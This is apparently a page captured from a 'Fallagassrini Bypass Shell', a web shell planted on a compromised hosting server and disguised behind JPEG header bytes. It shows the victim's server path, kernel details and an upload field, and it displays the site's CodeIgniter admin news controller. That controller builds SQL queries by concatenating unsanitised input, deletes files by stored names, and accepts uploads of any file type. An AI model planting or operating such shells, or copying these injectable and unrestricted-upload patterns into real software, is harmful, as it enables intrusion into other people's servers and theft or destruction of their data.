JFIF;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 85 C  !"$"$C$^" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ? C^",k8`98?þ. s$ֱ$Xw_Z¿2b978%Q}s\ŴqXxzK1\@N2<JY{lF/Z=N[xrB}FJۨ<yǽw 5o۹^s(!fF*zn5`Z}Ҋ">Ir{_+<$$C_UC)^r25d:(c⣕U .fpSnFe\Ӱ.չ8# m=8iO^)R=^*_:M3x8k>(yDNYҵ/v-]WZ}h[*'ym&e`Xg>%̲yk߆՞Kwwrd󞼎 r;M<[AC¤ozʪ+h%BJcd`*ǎVz%6}G;mcՊ~b_aaiiE4jPLU<Ɗvg?q~!vc DpA/m|=-nux^Hޔ|mt&^ 唉KH?񯣾 ^]G\4#r qRRGV!i~眦]Ay6O#gm&;UV BH ~Y8( J4{U| 14%v0?6#{t񦊊#+{E8v??c9R]^Q,h#i[Y'Š+xY佑VR{ec1%|]p=Vԡʺ9rOZY L(^*;O'ƑYxQdݵq~5_uk{yH$HZ(3 )~G Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home/jpewexports/public_html/application/controllers/admin/

Linux 43-225-53-84.webhostbox.net 3.10.0-1160.92.1.el7.x86_64 #1 SMP Tue Jun 20 11:48:01 UTC 2023 x86_64
Upload File :
Current File : /home/jpewexports/public_html/application/controllers/admin/News.php

<?php

class News  extends CI_Controller {

	function __construct()
	{   
		parent::__construct();	
		$this->load->helper(array('url','form','string'));
		$this->load->helper('file');
		$this->load->database();	
	}
	function index()
	{ 
		if(!isset($_SESSION['admin_id']))
		{
			echo "<script type='text/javascript'>window.location.href='".base_url()."admin/login'</script>";
		}
		else
		{
			$this->load->view('admin/news');
		}		 
	}

	function delete($id)
	{
		$set1=$this->db->query("select * from news where id='".$id."'");
		$row1=$set1->row_array();

if($row1['image']!='')
{	
   $path1='uploads/large/'.$row1['image'];
	   unlink($path1);


}

	   $this->db->query("delete from news where id='".$id."'");
	   $_SESSION['deleted']="News detail has been Removed";
	   echo '<script language="javascript">window.location.href="'.base_url().'admin/news"</script>';

	}
	
	function add11()
	{
		
		
		
		$title=$this->input->post("aname");
		$desc=$this->input->post("detail");
$content='';
  $title=str_replace("'","",$title);
		   $date=date('d M Y');
		    $this->db->query("insert into news(added_on,image,title,description) values('$date','','$title','$desc')");
//echo "insert into news(title,description,category,old_price,new_price,type,status,featured) values('$title','$desc','$category','$old_price','$new_price','$type','$status','$featured')";
	$id=mysqli_insert_id();

			if(isset($_FILES['file']['name']))
			{
					 if ((($_FILES["file"]["type"] == "image/gif") || ($_FILES["file"]["type"] == "image/jpeg") || ($_FILES["file"]["type"] == "image/pjpeg") || ($_FILES["file"]["type"] == "image/png") || ($_FILES["file"]["type"] == "image/jpg") || ($_FILES["file"]["type"] == "image/x-png"))) 
		 {

					  if ($_FILES["file"]["error"] > 0) 
					  {
						 $content .= "Return Code: " . $_FILES["file"]["error"] . "<br />";
					  } 
			          else 
			          {

		$upload=$_FILES['file']['name'];
		$ext=explode('.',$upload);
		$ext2=end($ext);
		$_FILES['file']['name']=random_string('numeric', 4).".".$ext2;
		$targetpath="uploads/large/";
	 	   		if(move_uploaded_file($_FILES['file']['tmp_name'],$targetpath.$_FILES['file']['name']))
					
{

$this->db->query("update news set image='".$_FILES['file']['name']."' where id='".$id."'");

}					
						}
						 
					} 
				}
					else 
					{
				
						
					}

		   $_SESSION['added']="News detail has been successfully added"; 
	 echo '<script language="javascript">window.location.href="'.base_url().'admin/news"</script>';
				
	
	}
	
	
		function add22()
	{
	   	$title=$this->input->post("aname");
		$desc=$this->input->post("detail");
	    $file = $this->input->post('file');
		
		//$this->db->query("insert into categories(category,parent) values('".$sub_name."','$par')");
		
    $content='';
  $title=str_replace("'","",$title);
    $date=date('d M Y');
  
		if ($_FILES["file"]["name"] == "") 
		{
		   $content .= "You must choose a file to upload!";
		} 
		elseif ((($_FILES["file"]["type"] == "image/gif") || ($_FILES["file"]["type"] == "image/jpeg") || ($_FILES["file"]["type"] == "image/pjpeg") || ($_FILES["file"]["type"] == "image/png") || ($_FILES["file"]["type"] == "image/jpg") || ($_FILES["file"]["type"] == "image/x-png")) && ($_FILES["file"]["size"] < 20000000000000)) 
		{
			if ($_FILES["file"]["error"] > 0) 
			{
				$content .= "Return Code: " . $_FILES["file"]["error"] . "<br />";
			} 
			else 
			{
			   $content .= "Upload: " . $_FILES["file"]["name"] . "<br />";
			   $content .= "Type: " . $_FILES["file"]["type"] . "<br />";
			  $content .= "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
			  $content .= "<br/><br/>";
			  $image = str_replace(' ', '_', $_FILES["file"]["name"]);
			  $rand=rand(000000,999999)."_".$image;

			if (file_exists($rand)) 
			{	
				$content .= $_FILES["file"]["name"] . " already exists. Upload cancelled!";
			} 
			else 
			{
					$uploadedfile = $_FILES["file"]["tmp_name"];
					$size = getimagesize($uploadedfile);
					$type = $size['mime'];
					$width = $size[0];
					$height = $size[1];
					$type = $size['mime'];
					$newwidth = 270;
			        $newwidth1 =136;
				    $newheight = ($height / $width) * 270;
					//$newheight1 = ($height / $width) * 136;
		                          $newheight1= 130; 
					$tmp = imagecreatetruecolor($newwidth, $newheight);
					$tmp1 = imagecreatetruecolor($newwidth1, $newheight1);
					$filename = "uploads/" . $rand;
					$filename1 = "uploads/medium/" . $rand;
					$image=$rand;

					
					
						   if ($size[2] == IMAGETYPE_GIF) 
						   {
								$src = imagecreatefromgif($uploadedfile);
							
								imagecopyresampled($tmp, $src, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
								imagecopyresampled($tmp1, $src, 0, 0, 0, 0, $newwidth1, $newheight1, $width, $height);
										
								imagegif($tmp, $filename, 100);
								imagegif($tmp1, $filename1, 100);
							} 
							elseif ($size[2] == IMAGETYPE_JPEG)
							{
								$src = imagecreatefromjpeg($uploadedfile);
								
									imagecopyresampled($tmp, $src, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
									imagecopyresampled($tmp1, $src, 0, 0, 0, 0, $newwidth1, $newheight1, $width, $height);
											
									imagejpeg($tmp, $filename, 100);
									imagejpeg($tmp1, $filename1, 100);
							}
							elseif ($size[2] == IMAGETYPE_PNG)
							{
									$src = imagecreatefrompng($uploadedfile);
								
									imagecopyresampled($tmp, $src, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
									imagecopyresampled($tmp1, $src, 0, 0, 0, 0, $newwidth1, $newheight1, $width, $height);
											
									imagepng($tmp, $filename, 9);
									imagepng($tmp1, $filename1, 9);
							}
					imagedestroy($src);
					imagedestroy($tmp);
			}
		}
		} 
		else 
		{ 
		$content .= "Invalid file";
		}
		   $this->db->query("insert into news(added_on,image,title,description) values('$date','$rand','$title','$desc')");
	
	      $_SESSION['added']="News detail has been successfully added"; 
	 echo '<script language="javascript">window.location.href="'.base_url().'admin/news"</script>';
		
	}
	
	function add(){
	    
	    
	     if(!empty($_FILES['file']['name'])){
                $config['upload_path'] = 'uploads/large/';
                $config['allowed_types'] = '*';
                $config['file_name'] = $_FILES['file']['name'];
                $config['max_width']= 6000; // 6000px you can set the value you want
                $config['max_height']= 6000; // 6000px
                 $config['max_size'] = '6000';

                
                //Load upload library and initialize configuration
                //$this->load->library('upload',$config);
                $this->load->library('upload');
                $this->upload->initialize($config);
               // $this->upload->initialize($config);
                
                if($this->upload->do_upload('file')){ 
                    $uploadData = $this->upload->data();
                    $picture = $uploadData['file_name'];
                }else{  
                    $picture = '';
                }
            }else{ 
                $picture = '';
            }
        
        
       	$title=$this->input->post("aname");
		$desc=$this->input->post("detail");
                $content='';
                $title=str_replace("'","",$title);
                $date=date('d M Y');
            
            $data=array(
                'added_on'=>$date,
                'title'=>$title,
                'image'=>$picture,
                'description'=>$desc,
                );
               
                $this->db->insert("news",$data);
                
                //if($this->db->affected->row()){
                $_SESSION['added']="News detail has been successfully added"; 
	 echo '<script language="javascript">window.location.href="'.base_url().'admin/news"</script>';
			
              //  }
         
	    
	    
	}
	
	
	
		
		
   
		
		
}

/* End of file News.php */
/* Location: ./system/application/controllers/news.php */

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net